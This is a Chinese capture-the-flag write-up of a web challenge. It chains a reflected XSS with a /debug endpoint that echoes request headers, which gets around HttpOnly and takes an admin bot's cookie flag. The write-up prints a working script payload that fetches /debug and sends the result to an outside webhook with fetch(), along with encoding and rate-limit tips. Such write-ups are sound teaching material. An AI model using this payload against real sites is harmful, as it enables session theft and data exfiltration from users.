zombie-201 (Web)
题目信息
- 题型: Web
- 场景:http://49.232.142.230:10423
- Flag:
wctf{h1dd3n-c00k135-d1d-n07-h31p-373964}
考点
- XSS(输入反射,无过滤)
- HttpOnly cookie 绕过
/debug端点泄露请求头(含 cookie)- Zombie.js headless browser bot
解题过程
1. 信息收集
GET / → 静态首页,两个表单:
- /zombie?show= → 反射输入(XSS)
- /visit?url= → admin bot 访问 URL(限 hostname=49.232.142.230)- Express 服务器,
Content-Type: text/html - Admin bot:
Zombie.js/6.1.4
2. 发现 /debug 端点
curl -s http://49.232.142.230:10423/debug
# 返回: {"remote-ip":"...","host":"...","user-agent":"...","accept":"*/*"}回显请求头信息,当 admin bot 访问时会包含cookie字段。
3. XSS + /debug 组合攻击
Payload(通过/zombie?show=注入):
<script>
fetch("/debug")
.then(r => r.text())
.then(t => fetch("https://webhook.site/<UUID>?dbg=" + encodeURIComponent(t)))
</script>通过/visit触发 admin bot:
/visit?url=http://49.232.142.230:10423/zombie?show=<XSS_PAYLOAD>(需要双重 URL 编码)
4. Webhook 接收 Flag
Admin bot 访问/debug时携带 cookie,响应包含:
{
"remote-ip": "::ffff:49.232.142.230",
"user-agent": "Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4",
"host": "49.232.142.230:10423",
"cookie": "flag=wctf{h1dd3n-c00k135-d1d-n07-h31p-373964}",
"connection": "keep-alive"
}关键技巧
- HttpOnly 绕过:
document.cookie读不到 → 找服务端泄露点(/debug回显请求头) - 编码注意:XSS payload 经
/zombie反射 →/visitURL 参数,需双重 URL 编码 - Exfil 方式:
encodeURIComponent()编码响应内容,通过fetch()发送到 webhook - webhook 限流:同一 webhook 多次请求可能被限流,备多个 webhook 或用新 token